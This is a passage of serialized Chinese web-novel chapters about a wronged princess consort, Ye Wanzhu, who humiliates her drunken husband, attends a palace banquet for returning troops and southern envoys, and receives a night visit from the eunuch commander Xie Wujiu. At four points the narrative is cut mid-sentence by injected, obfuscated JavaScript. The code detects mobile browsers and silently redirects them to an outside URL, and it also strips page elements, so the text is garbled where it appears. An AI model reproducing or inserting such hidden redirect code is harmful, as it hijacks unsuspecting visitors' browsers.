白日里,听闻叶晚竹去了铺子里,那福顺公公竟然直接免了让她赶回来! 这可是圣旨,要是没有圣上的意思,福顺一个太监敢如此擅作主张? 圣上对叶晚竹为什么这么好? 就因为从前叶老太君那点破事? 还是说——? 萧子景的眼睛忽然瞪得奇大无比。 第九十七章 您不能这样对待王爷! 叶晚竹没理会萧子景忽然变幻的神情,她正低下头,将圣旨打开。 南疆王的使团以及前赴西南的将士们三日后回京,作为东道主,昭德帝自然要设下宴席,给大军接风洗尘。 叶晚竹看着圣旨上龙飞凤舞的字迹,思绪回到从前。 前世这个时候,她连床都下不了,更遑论参加宴席,虽然身为景平王妃,但和萧子景一道去赴宴的人,当然还是阮莹莹。 叶晚竹还记得阮莹莹将宫中赏赐的美酒佳肴缓缓倒在自己身上的模样。 “景平王妃?叶晚竹,除了这个名头,你拿什么和我比?” 阮莹莹得意的笑声似乎还在耳边回响着。 叶晚竹平静地将圣旨折好,一抬头,却对上了萧子景异样的眼神。 他双目一瞬不眨,直勾勾地盯着叶晚竹看来。 “你刚才去了什么地方?见了什么人,又做了什么事?”萧子景连珠炮似的发问。 这是被哪条疯狗咬了? 敛起心神,叶晚竹斜他一眼,就要抬脚离开。 萧子景却用力一把扯住了她的手腕,“你给我站住,把话说清楚!” 他话音未落便是一声闷哼,叶晚竹屈膝狠狠顶在了萧子景腹部! “王爷若是这么有闲情逸致,不妨去洗个澡,再换身衣裳,免得这天黑灯暗的,被哪个下人当成乞丐扔出去。” 冷冷地抱着双臂,叶晚竹道。 “你这**——” 不知道被叶晚竹哪句话刺激到了,萧子景捂着肚子,却又低吼一声,要冲上前来。 隐风飞起一脚,将萧子景踹到三步开外,而后又一把拧住他的手臂,狠狠反剪在身后。 “别动!”隐风呵斥萧子景的模样,仿佛他是东厂的犯人一般。 “叶晚竹!” 徒劳地挣扎着,萧子景喘着粗气,一双眼睛恶狠狠地盯着叶晚竹,片刻后,又忽然转向半藏在她身后的小花。 “小贱种,你没资格待在景平王府,现在就给本王滚——”出去! 萧子景的话又没能说完,便被叶晚竹飞起的耳光扇得没了下文! “啧,” 浓浊的酒气近在咫尺,叶晚竹不耐地摩挲了几下指尖。 “王爷贪杯太过,喝得嘴这么臭,不好好清理一下可不行。” “隐川,去取些盐水过来。” 张口**闭口贱种,她看萧子景这张嘴是太长时间没清理过了! 隐川闻言便要离开,刚走到回廊下,却忽然被一个黑影挡住了去路。 “王,王妃,您不能这样对待王爷!” 瑟瑟发抖却十分坚定的声音响起,叶晚竹循声看了过去。 这声音从前怎么没听过? 一个年轻的侍从这时候从回廊里跑到了萧子景身边。 灯光摇曳之下,的确是张叶晚竹从来没见过的脸。 “王爷喝醉了,王妃有什么话,还是,还是等明日再说吧!”这侍从朝着叶晚竹拱手弯腰。 “你是何人?”叶晚竹只垂头看着他哆嗦的模样。 “小的,小的夏至,是王府新来的下人!” 新来的? 叶晚竹一挑眉,“哦?王府庶务由我管辖,我怎么不记得最近让府中添了新人?你是哪儿来的小喽啰,也想混进王府?” “叶晚竹!” 还没等夏至说话,萧子景先吼了起来。 “你别太过分,这是本王的宅子,本王做主添个人,有什么问题!” 听叶晚竹这口气,不知道的,还以为王府是姓叶呢! “原来是王爷添的人。” 慢悠悠地应着,叶晚竹却并未看向萧子景,而是伸手将夏至的脑袋一把抬了起来。 王府的银子没了,俸禄也不发,萧子景这会儿应该穷得就剩一口西北风对付着喝才对。 可他不仅能痛饮美酒到这幅醉醺醺的模样,还能给自己身边添个如此唇红齿白的侍从? 叶晚竹的目光变得专注了些。 牙行卖人也分等级,像夏至这样细皮嫩肉,眼神清亮的,一看就不便宜。 就算有阮莹莹手里的那笔钱,填进王府也不够看,萧子景会舍得买这样一个侍从? “王,王妃……” 被叶晚竹审视的目光上下打量着,夏至哆嗦得更加厉害,连说话都有些不清楚了。 一旁的萧子景也怒目而视,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538243|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你又想干什么?这府里难道连一个下人都容不下?” “我只是认认新人的脸罢了,王爷这么紧张做什么?” 轻笑一声,叶晚竹的眼神却仍旧不曾离开夏至的脸。 她笑道,“你可知道王爷的传说?” 什么传说? 夏至眼神茫然,似乎已经被叶晚竹吓傻了。 “你长得如此俊秀,竟然敢来景平王府……” 啧啧有声地摇着头,叶晚竹掐着夏至的手松了松,转而在他冰凉的侧脸上摸了一把。 “罢了,你是王爷买回来的人,我不好多管——” “你给我闭嘴!” 夏至仍是一脸不解,萧子景却已经又怒吼起来。 他没有龙阳之好! 不是断袖! “王妃,盐水来了。”这时候,隐川端着水碗快步走到叶晚竹身边。 松开夏至,叶晚竹又露出一个笑容。 “日后,自己小心。” “叶晚——” 萧子景还要怒吼,刚一张嘴,浓浓的盐水猛地灌了下来! 隐川搁了数倍的盐,还没完全融化的粗粒摩擦着萧子景的喉咙,又疼又痒。 他想挣扎却无果,狼狈地呛咳着,又被叶晚竹一把捏住嘴唇。 “王爷,”她终于朝着萧子景看去,眼神锋利,“再有下次,妾身帮你漱口,用的可就不是这个了,保证让您三天三夜张不开嘴。” 萧子景憋得满脸通红,咕嘟一声,硬是将那一大口浓盐水全都吞了进去! 他随即发出一阵惊天动地的呛咳声。 隐风在叶晚竹的示意下放开手,萧子景倒在地上,捂着胸口干呕起来。 “夏至是吧?”叶晚竹朝那好像已经吓傻了的侍从一招手,“扶着你家王爷回去吧。” 夏至闻言双腿哆嗦着,魂不守舍地走上前来。 下一刻,叶晚竹反手一记耳光无比响亮地抽在他脸上! 萧子景满头大汗,指着叶晚竹想说什么,抬起的手指又被她死死按住,疼得连叫都叫不出声。 “既然是王爷自己花钱买的下人,那就有劳王爷管好,否则,你们两个,我一起收拾!” 第九十八章 宫宴之上 甩了甩有些发麻的掌心,叶晚竹又一巴掌摔在萧子景另一边脸上。 “滚吧。” 站起身,叶晚竹漠然看着已经从地上爬起身来的夏至。 萧子景被艰难扶起,恶狠狠地盯着叶晚竹,张嘴想说话,却又一连串地咳嗽起来。 他看着隐风隐川面无表情挡在叶晚竹身前的模样,一张脸上各种颜色翻卷而过,最后全都变成了阴恻恻的凝视。 “好,”他哑着嗓子开口,“叶晚竹,你好的很!” 叶晚竹平静地注视着萧子景无能狂怒的模样,连眼都没有多眨一下。 “夏至,咱们走!”萧子景重重地吐了口气。 一直目送着两人踉踉跄跄地离开,叶晚竹才和隐风隐川对了对视线。 “这人怎么样?” “瞧着不会武,暂时也看不出什么端倪。”隐风沉声道。 叶晚竹抿了抿唇。 “去查一下他的情况,还有,看看萧子景最近都干了什么。” 这个夏至忽然出现,还表现得如此天真单纯,叶晚竹觉得说不出的怪异。 萧子景那些传言遍布京城,她方才特意提及,夏至就算不相信,也不该没有一点儿反应。 再看萧子景那古里古怪的模样,明显不知道又在打着什么样的主意。 叶晚竹勾了勾唇。 她拭目以待! 三日一晃而过,还没等隐风查出个所以然,便到了宫宴当晚。 圣旨邀请的是景平王与王妃,萧子景却抢先一步,自己先往宫中去了。 叶晚竹倒也乐得清净,独自登上马车入宫,很快也来到宴席之上。 暮色四合,大殿中却张灯结彩,亮如白昼一般。 今晚宾客云集,朝中能叫得上名号的人家都在此相会,叶晚竹到的不算太迟,却也被殿中热闹的景象绊住了脚步。 与此同时,殿中夫人小姐们看见她前来,也不约而同地停下了交谈声。 从四面八方投向叶晚竹的眼神有些复杂。 景平王爷的“事迹”,她们都或多或少地了解过了,见到叶晚竹之前,夫人小姐们心里大多是惋惜感叹。 好端端的王妃,就要受这种磋磨! 想来王妃这段时间过得也很煎熬吧——? 等等,这一身粉衣红裙,美艳不可方物的人,是景平王妃? 容貌可以妆点,精神却骗不了人,叶晚竹一脸神采奕奕,眼底光芒万丈,怎么看,都不像是众人议论中整日因为夫君而暗自垂泪的模样! 有些与萧子景今晚打过照面的夫人们又忍不住想起那一脸憔悴迷离,好像老了二十岁的景平王爷来。 闹出梁源大人那样的事,王妃竟然还能占据主导? “王妃,到这边来坐!” 殿中人神色各异,叶晚竹却已经循着熟悉的声音,来到那几位相熟的夫人身边坐下。 几人莫名结缘,时至今日,已是相处融洽。 “我就说王妃不会是那种可怜模样。” 眉眼英气十足的是陈夫人,朝叶晚竹眨了眨眼。 这位可是能把景平王爷当狗打的! “行了行了,外面那些话没什么好说的,都是乱嚼舌根子!” 另一位看着温婉些的沈夫人却不耐烦地一摆手,也看向叶晚竹。 “说正经的,我听说,你那铺子里又要来好东西了?” “时间还不好说,不过等东西送到,肯定先给你们送信。”叶晚竹压低声音,故弄玄虚的模样明显得不能再明显。 这几位都已经是蕴秀阁的熟客,夏铃和伙计们离京的事情逃不过她们的眼睛。 几人眼睛都是一亮,又接二连三地追问起来。 叶晚竹也说不出什么,应付了几个问题,忽然眼睛一扫。 “赵夫人还没醒?” 都已经过去这么多日子了。 几位夫人刚才还兴致勃勃的模样都有些黯淡下去。 “别提了,”沈夫人叹了口气,“听说大夫换了一个又一个,却怎么都不见好。” 萧子景让人假扮成赵府的人蒙骗叶晚竹,真正的赵夫人却直到今日都还没醒来。 “赵家二老花重金托人下江南去招医了,也不知道能不能找到。”圆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553007|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸可爱的卫夫人也跟着轻声叹息。 陈夫人向前倾身,眼波流转,颇有些神秘。 她先抛了个眼色,几人见状都围拢上去。 “赵夫人这倒也算是因祸得福,”陈夫人压低声音,“听我们家老爷说啊,梁源梁大人前几日被东厂的人半夜搜到家里,二话不说就带走了!” “梁府也被搜了个底朝天,下人全都被关在天牢,由东厂的人看守。” “你们说,赵夫人是不是躲过一劫?” 陈夫人的夫君是大理寺卿,向来能听到些小道消息。 听见东厂二字,几位夫人的呼吸都顿了顿。 那可不是什么好去处! 叶晚竹也神情微顿,却是因为想起了谢无咎。 “东厂为何抓了梁大人,夫人可知道?”她忍不住多问了一嘴。 提到梁源,陈夫人微妙地看了叶晚竹一眼。 “我家老爷可不敢去撩东厂的闲,不过这都多少日子了,梁源还是杳无音信,估计不是什么好事!” 人人都知道东厂九千岁手段残佞,但倘若真的查不出什么,都督大人也一定会把人活着送出来。 如今……那梁大人怕是凶多吉少了。 沈夫人颇为豪迈地拍了拍叶晚竹的肩膀。 “这就叫报应!” 闹出那么大的丑闻,梁源被东厂盯上,也是理所应当的事情! 没等几人再说什么,吉时已至,随着福顺公公一声高唱,昭德帝和皇后娘娘进到大殿之中,宴席也正式开始。 叶晚竹随着殿中众人行礼,余光却忍不住朝昭德帝下首那个空位看去。 那应该是谢无咎的位置,宴席已经开场,他却不曾出现。 殿中并未有人提起九千岁,毕竟今晚的主人公一是征战南疆的将士,二是南疆使团。 随着昭德帝放话,两支队伍一前一后进到殿中。 叶晚竹的目光不由得又被那些南疆使者吸引过去,又看向他们抬进殿中的几大口箱子,想瞧瞧那传说中的草药长得是什么模样。 下一刻,她不经意地对上一双含笑的眼睛。 第九十九章 论草药到珍珠粉的变化 陌生的面孔,略带几分熟悉的眉眼,看得叶晚竹一愣。 下一刻,那人收回目光,仿佛刚才只是随意一扫,上前两步,单膝跪在高台之下。 “末将幸不辱命!” 昭德帝今日也是盛装出席,不怒自威的脸上此时微微现出一抹笑意。 “希越辛苦了,这一战,你居功甚伟!” “末将不敢揽功!” 二人你一言我一语地对着话,叶晚竹悄悄往陈夫人身边靠去。 “这位就是安王世子?”她的声音很轻。 陈夫人也动作很小地点了点头。 二人一道朝高台上方看去,除了帝后二人外,昭德帝身边还设了一张坐席。 面白而虚胖的安王正坐在上面,捂着心口,眼眶微红地看着自己的儿子。 昭德帝做皇子时行十,前面几位八仙过海各显神通,为了皇位无所不用极其,唯有二皇子天生体弱,胸无大志,只想混混日子。 无奈先皇当年属意三皇子为储,大皇子年长不忿,蓄意出招,倒是夹在中间被无辜波及了的二皇子险些丧命。 他吓破了胆子,大病一场险些去了半条性命,醒来便哭着喊着要去别苑静养。 这一静养就是七八年,养到皇子们八败俱伤,养到潜龙的十皇子才能兼备被先皇看见,养到新皇一道圣旨发往别苑,封了唯一的兄长为安亲王。 彼时安亲王已经人过中年,在别苑娶妻生子,被昭德帝派人将一家请回到阔别已久的京城。 谁知刚住进修葺一新的安王府几日,九皇子尚存的余党入京生乱,险些一刀将出宫探望安王的昭德帝砍成两段! 幸亏有侍卫在场,昭德帝保住了性命,风波过后,安王也立刻带着全家收拾东西,又回京郊的别苑去了。 按照安王的说法,那就是他和京城八字不合,昭德帝有心还记挂着他这个兄弟,他不能反而害了圣上的性命。 至于民间的传言……那就是安王的胆子又被吓破了! 总之,安王长居别苑,没再回京,倒是安王世子孟希越小小年纪便展现出了排兵布阵的本事,夺下某年京城演武的头名后,被昭德帝封了个不大不小的将军。 五年前大梁南北边境先后发生叛乱,北狄来势汹汹,昭德帝点了几支兵马亲自带兵北上,孟希越则主动请缨带兵去了南疆。 如今孟希越不仅得胜归来,还降服了南疆,众人看着这位安王世子的眼神都带着钦佩。 昭德帝和安王世子并未说得太多,夸奖封赏过后便让世子与入殿的几位将军落座,转而又和南疆使团的使者们说起话来。 两国有意交好,这回打的便都是官腔了。 叶晚竹等了半晌,任凭昭德帝和使臣们一套一套的吹捧夸奖之词从耳中滑过,终于在听到“宝贝”二字时重新打起了精神。 那南疆使臣操着一口不甚流利的大梁话,一样一样地从箱子里将宝物拿出来展示。 南疆虽是小国,但位置气候都与大梁大不相同,生产的东西更是天差地别。 箱子里的宝物大多是殿中众人从未见过的,一时间,殿上议论纷纷,十分热闹。 叶晚竹也跟着一同伸长了脖子,只是十分的精力最多有四分在眼前。 “……陛下,还有一物,是王妃特意嘱咐我等,要送给大梁的各位娘娘们的。” 不知过去多久才听到这么一句话,叶晚竹的双眼顿时猛地亮了起来! 她不错眼珠地盯着那已经所剩无几的箱笼。 高台上,皇后和娘娘们也颇为好奇地看了过来。 只见那使臣小心翼翼地从里面取出一个匣子,打开来一看,里面是—— “此乃琉璃珍珠粉,是由南疆特产的海水珍珠磨制而成,有美容养颜的功效!” 那珍珠粉不同寻常,在点着烛灯的大殿中也散发出幽幽的柔和光芒。 皇后妃嫔,还有殿中诸位夫人小姐们越发好奇,叶晚竹却皱起了眉头。 怎么回事? 她前世可从来没有听说过南疆使臣还送来了什么琉璃珍珠粉! 可看这些使臣已经开始收拾东西,显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553008|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没有再呈送的意思。 前世那名声响彻京城的草药去了什么地方? 难道是她听错了,亦或是阮莹莹等人故意戏弄于她? “王妃?” 书画低低的声音在耳边响起,叶晚竹回过神,发觉众人已经落座,也连忙跟着动作。 稀里糊涂地坐下,叶晚竹满脑子想的都是草药和夏铃的商队。 商队几日前出发,这会儿应该刚离开京城地界不久。 是要把人叫回来,还是让她们继续去南疆打探情况? 叶晚竹难得举棋不定。 实在是这琉璃珍珠粉出现得太过奇怪。 席间的热闹又继续起来,陈夫人几人忙着讨论珍珠粉,倒是没发现叶晚竹这格外的沉默。 不知不觉,酒过三巡,昭德帝安排了大梁的歌舞奏乐,南疆使团也早有准备,奉上一曲舞蹈,殿中热闹的气氛越发欢欣。 叶晚竹思考后打定了主意,刚定下心神,又忽然感到一阵被窥视的异样。 她本能地抬起头朝来处望去。 远处对面的坐席上,几位大人正忙着觥筹交错,似乎并没有朝女客这边看来的意思。 再远处的过道上,有几位将军模样的人,步履匆匆,似乎是要朝大殿之外而去。 并未发现什么可疑目标,叶晚竹还要继续搜寻,殿门外忽然响起了一阵骚动。 叮呤咣啷,似乎是酒壶落地的响声,还伴随着几人撞在一起的低呼。 殿中跟着一静。 “怎么回事?” 昭德帝放下酒杯,皱眉不悦地朝外看去。 殿门外的动静却还没完,几个小太监撞在一起,滚成一团,将通往大殿的路堵了个结结实实。 几人又窸窸窣窣了片刻才恢复安静,而后一道高挑身影大步走了进来。 玄袍金**加身,谢无咎旁若无人地走到大殿中央,这才朝昭德帝躬身一礼。 “微臣来迟了,手下笨手笨脚,惊扰了陛下和各位使臣的兴致,实在对不住!我自罚三杯!” 第一百章 有鬼啊父王! 一边说着话,他一边随手抄起酒杯,自斟自饮。 另一边,一身狼狈的隐月走入殿中,二话不说在谢无咎身边跪了下来。 他一身酒水,看上去方才那些小太监都招呼到了他的身上。 昭德帝敛了怒意,无奈地一摆手。 “罢了,是宫人不得用,你去换身衣裳再来伺候。” 他这话是对着隐月所说,又朝谢无咎一颔首。 “你来。” 搁下酒壶,谢无咎再次大步流星地朝高台而去,路过叶晚竹附近时,状若不经意地扫来一眼,又立刻收回。 待他走远,卫夫人猛地打了个寒战。 “九千岁看这里做什么?我们有什么不得体的地方吗?” 陈沈二位夫人拼命用眼神示意她,赶紧住口! 九千岁的爪牙已经够耳聪目明的了,如今他本人就在眼前,就这么议论他,是也不想活了吗! 叶晚竹跟着一笑,权当自己什么都没发现。 有这位让京中人闻风丧胆的九千岁在,宴席的欢庆氛围顿时去了大半,就算歌舞风采依旧,众人瞧着也心不在焉,频频往高台上看去。 等到昭德帝和谢无咎低声私语片刻后,又双双离开,殿中更是没滋没味。 待到表演落幕,宴席便也顺势散了。 今晚宫宴用的是果子酒,虽然味道好,但后劲也相当绵长。 叶晚竹坐上马车,便感到阵阵晕眩袭上,喝了书画带来的醒酒汤,撑着脑袋靠在椅背上休息。 “让马车慢些走,”她闭着双眼,“萧子景呢?” 宴席上倒是看见了这位,低着脑袋只顾闷头喝酒,看上去比三天前更加憔悴。 若是他就这么把自己给喝死,叶晚竹想,她要不要救? “没见到王爷,王府那辆马车倒是还在,王妃,咱们等吗?” 书画掀开帘子看了一圈,缩回头,一边给叶晚竹轻轻按着太阳穴,一边忿忿哼声。 “您怎么还想着招呼他?” 王爷一点都没有等王妃呢! 叶晚竹冷笑一声。 “等他做什么,岂不是给自己找不自在?” “隐风,你让那辆马车也跟上回府!” 既然出来得晚,那萧子景就用两条腿回王府好了,正好醒醒酒! 隐风闻言立刻朝那马车而去。 “咱们也走。”叶晚竹放下车帘摆了摆手。 景平王府的两辆马车很快就一前一后地隐入了夜幕之中。 —— 萧子景这个时候还没有发现自己要步行回王府了。 他正在逐渐黯淡下来的宫殿群中游走,一面和夏至小声喊着萧延的名字。 听说宫中要设宴,萧延特意求到萧子景面前。 看着儿子可怜巴巴,又瘦了一大圈的模样,因为宫宴而勉强恢复清醒的萧子景终于感到一丝愧疚,不仅一口答应带萧延进宫赴宴,还给他从头到脚置办了几身合体的衣裳鞋袜,总算让人看起来不像小乞丐了。 可萧子景自己的愁苦还在继续,求医问药没有任何效果,他的身下仍然没有半点感觉,这让他依旧只想以酒浇愁。 虽然带着萧延入宫,可萧子景很快又喝得醉醺醺的了。 宴席过半之时,萧子景隐约记得萧延说要去方便,他让冬生陪着前去。 没想到直到宴席结束,二人还没有回来。 “景平王?” 低沉而略带戏谑的声音传来,萧子景猛地敛起心神,看着一个黑影从暗处走出。 是隐月。 萧子景脚步一顿,酒意顿时消失得无影无踪。 “你要干什么?”他十分警惕地瞪着眼前人,喉咙不自觉地开始发紧。 观音土的味道也在萧子景脑海中变得清晰。 “别紧张啊景平王。” 隐月面上笑眯眯的,抱着双臂,脚步十分轻快。 “王爷是不是在找小世子?请跟小的来吧。”他微微欠身。 萧子景呼吸一滞,“延儿在你们手里?” “王爷这话说得,好像我等会对小世子做什么似的。”隐月笑意更深,“小世子和王爷的傻子小厮在宫里到处乱跑,险些触及禁地,若不是被九千岁救下,这会儿,怕是已经排队喝汤去了。” “王爷对待救命恩人就是这种态度?” 萧子景听得微微揪心,顾不上和隐月斗嘴,“我儿在什么地方?” “王爷请。” 隐月不冷不**应了一句,转身带路,很快便带着萧子景来到一间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553009|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏殿。 萧延的哭声自屋中传来,萧子景二话不说便冲了进去! “你要对我儿子——”干什么! 一把推开房门,萧子景的怒吼声刚到一半,便淹没在萧延青紫一片的伤势中。 此刻的萧延满脸伤痕,说是一颗受过重伤的猪头也不为过! “谢无咎,你欺人太甚!”萧子景额头上青筋迸起,跳个不停。 “王爷这双眼睛莫不是瞎的吧?” 谢无咎正端坐在桌边喝茶,闻言搁下茶碗,朝萧子景投去一瞥。 “王爷可能看见小世子旁边还站着一个人?可能看见他在干什么,手里又拿着什么东西?”他凉凉发问。 萧子景这才转了转脑袋,和手里举着药棉,一脸呆滞的冬生对上视线。 “王,王爷……” 冬生脸上也带着伤,但要轻很多,这会儿躲躲闪闪,不敢看向萧子景的眼睛。 萧子景又立刻横眉竖目,“你是怎么照顾小世子的?” 只是去方便一下,也能捅出这么大的篓子! 冬生是越来越没用了! “父王——” 萧延方才一直是一副被吓呆了的模样,萧子景进来的时候他连眼珠子都没转一转,此刻忽然凄厉地尖叫一声,跳起来就往萧子景怀里扑。 “有鬼,有鬼啊父王!”他尖叫着。 有鬼? 萧子景扶住儿子,忍不住皱起了眉头。 这到底是怎么回事,今晚发生了什么? 谢无咎这时候终于站起身来,叹了口气。 “本督不久前听见有人在慎刑司附近走动,还以为是刺客,没想到小世子,连滚带爬地从暗处跑出来,就是这副模样。” “正好王爷来了,快把人领走回去安置吧,宫里太黑,别再吓着。” 他语气不耐,又摆了摆手,隐月随即上前,很不客气地将父子二人往外请去。 萧子景的思绪越发混乱,甚至没怎么听谢无咎在说什么。 隐月将人送到宫门前,便毫不犹豫地转身离开,萧子景被夜风一吹,总算恢复了几分清醒。 抱着还在瑟瑟发抖的萧延,他转头看向宫外。 有什么话,回去再—— 他的马车呢? 第一百零一章 本督喜欢 “王妃。” 马车在景平王府门前刚刚停稳,叶晚竹还在闭目养神,耳边忽然传来隐风的声音。 “怎么了?” “王爷那辆马车里有两个女人。” 叶晚竹闻言顿时来了精神。 “女人?” 隐风点一点头。 他靠近那辆马车时便看到车夫表情不对,车厢中更是香风袭人,掀开车帘便看见两个精心打扮过的美人。 美人满脸带笑,一句王爷显然已经到了嘴边,被隐风面无表情的脸硬生生吓得花容失色。 不欲在宫门口生事,隐风索性上了马车,一直等到回府才开口。 “这二人说,是金吾卫冯将军要她们到王府来伺候王爷的。” 叶晚竹不曾听过冯将军是何许人也,但送两个美人给萧子景,显然不是真的要给他端茶送水的。 “既然是冯将军的一片好意,那就把人送到默言阁去吧。”挑了挑眉,叶晚竹的语气戏谑起来。 这王府里最近的确有些太安静了,来几个新人还热闹些。 隐风立刻去办了,叶晚竹回到潇湘院,小花已经睡下,她只身来到书房,坐在桌边铺开纸笔。 方才在宴席上,叶晚竹便已经想好了主意,无论如何,不能让夏铃和商队白跑一趟。 左右已经到了南疆,索性将那草药,还有今晚的珍珠粉都了解一番,再看看还有没有什么商机。 那叫谢逸的侍卫临走前给叶晚竹留下了几只信鸽,说是无论走到什么地方,鸽子们都能找到他们。 想了想,叶晚竹提笔书写起来。 “本督消失了这么久,都不见王妃写来一封信,真是偏心。” 书信刚写到末尾,谢无咎的声音猝不及防地在屋中响起! 他语气带笑,叶晚竹手一抖,在纸上留下一道长长的墨迹! 丢下毛笔,叶晚竹挑眉抬头。 “九千岁忙于公务,我可不敢贸然打扰,以免耽搁了都督大人的正经事。” 眼前之人已经换下了方才的朝服,仅着一身普通玄袍,却气势不减。 听着她的话,谢无咎眼眸微眯,连带着眼下那颗泪痣也跟着晃动起来。 “如此说来,倒是本督该感谢王妃体贴咯?” 他好不见外地在摇椅上坐下,没骨头一般把自己埋进椅背,而后舒舒服服地长叹了一口气。 “这倒是让本督邀功变得不那么理直气壮了。” 邀功? 叶晚竹垂眸看去。 “萧延。” 与叶晚竹目光相撞,谢无咎掀起薄唇,不冷不热地吐出两个字。 “方才在宴席上,他想趁机在圣上面前哭诉一番,你这个娘亲对他是如何无情,如何冷酷。” 谢无咎的眼神泛起了凉意。 今夜东厂忙得人脚不沾地,他本打算缺席宴会,却还是被一处异常吸引到了宫中。 锦衣卫来报,慎刑司附近似乎有人在偷偷摸摸地转悠。 等谢无咎悄悄赶到,正好听见萧延蹲在墙角,嘴里念念有词,说的全都是对叶晚竹的控诉。 谢无咎用尽全身的耐心听着这没脑子的小屁孩说话,渐渐发现萧延的语言十分有引导性,在他口中,叶晚竹俨然是十恶不赦,冷血无情。 “他也不是在发泄或者思考,而是更像……背诵。”谢无咎淡淡地下了个结论。 叶晚竹有些意外,又很快冷静了下来。 既然是背诵,那也就是说,有人在背后指点萧延做这件事。 会是谁呢? “萧延背好了词便要入殿,本督怎可任由他当众胡说八道,坏王妃的名声?”谢无咎一脸正义,“所以小惩大诫了一番。” 原来这才是大殿门前生乱的原因。 “多谢九千岁相助。” 叶晚竹抱起双臂看去。 “我帮了王妃一个大忙,王妃准备如何答谢?” 谢无咎显然不是不求回报的大善人,叶晚竹话音未落,他便朝着这边伸出一只手。 “提前说好,本督不要银子。”他弯着双眼。 叶晚竹的目光却落在谢无咎的掌心。 一道伤疤横亘其上,虽然已经结痂,但还是能看出伤口很深。 以这位的身手,他竟然会受伤? “王妃心疼?” 顺着叶晚竹的目光低下头,谢无咎微微蜷缩了一下指尖。 叶晚竹也不客气,“都督大人都故意展示伤口了,妾身若是没点表示,岂不是白费了一番心意?” 谢无咎惯用右手,这会儿伸到自己面前的掌心却是左边那个。 “唉!” 被拆穿了,谢无咎幽幽一声轻叹。 “王妃都这样说了,那本督可就等着王妃的垂怜了。” 他眉眼带笑,朝叶晚竹招了招手。 “好啊,”叶晚竹一口应下,“那就请九千岁回府静候吧。” 既是垂怜,那可不是要按她的步调来? 谢无咎的嘴角隐秘地抽了两下。 还真是垂怜? “夜已深,都督大人受了伤,还是早些回去休息为好。” 叶晚竹这时候又笑了笑,摆明下着逐客令。 谢无咎已经不知道多少年没有被人当面请离过,闻言却也并未生出什么不悦,轻笑一声站起身来。 “王妃的胆子还是这么大。” “不过,本督喜欢。” 叶晚竹闻言一怔,还没来得及开口,手下一空,方才的书信被谢无咎轻飘飘地抽走。 “要联系谢逸,本督有更快的办法,”他看着叶晚竹,手中将信纸叠好,“又一个忙,王妃记得答谢本督。” 叶晚竹哭笑不得。 谁说送信这件事要他帮忙的? 待放好信纸,谢无咎再抬起头,表情忽然有了些微妙的变化。 “未来一段时间,京中或许不会太平。” “一切小心。” “看好萧延。” 谢无咎来无影去无踪,很快离开了王府,被他点过的萧延,这会儿才刚刚跟着萧子景走进默言阁。 “阿嚏!” 在夜里行走一路,萧延忍不住打了个大大的喷嚏。 萧子景同样拖着疲惫的脚步,眉头紧皱,听下人说着马车提前离开的原因,却难得没有心思去找叶晚竹的麻烦。 摆手让人都退下,萧子景一把扯过萧延,又狠狠瞪着冬生。 “你们两个,今天晚上到底怎么回事!” 第一百零二章 让她们知道谁当家做主 皇宫里也是能随便乱跑的地方吗! “冬生,你给本王跪下!” 看着冬生哆哆嗦嗦的模样,萧子景更是气不打一出来。 怎么连一件事都办不好! “王,王爷……” 冬生面色青白地跪了下去,整个人还是仿佛丢了魂儿一般。 从出宫开始,他便一直是这副模样。 “说话呀!” 见他跪在地上,除了喊王爷什么都说不出来,萧子景抄起茶杯便朝着冬生摔了过去! 茶碗擦着冬生的脑袋落在地上,发出清脆的碎裂声响。 “啊——!” 萧延的尖叫几乎也在同时跟着响了起来。 他猛地钻进萧延怀中,叫声又开始变得惊恐。 “有鬼,父王,有鬼!” 萧延死死搂着萧子景,力道之大,让萧子景甚至感到有点喘不上气。 怎么又是有鬼? “延儿,到底怎么回事?” 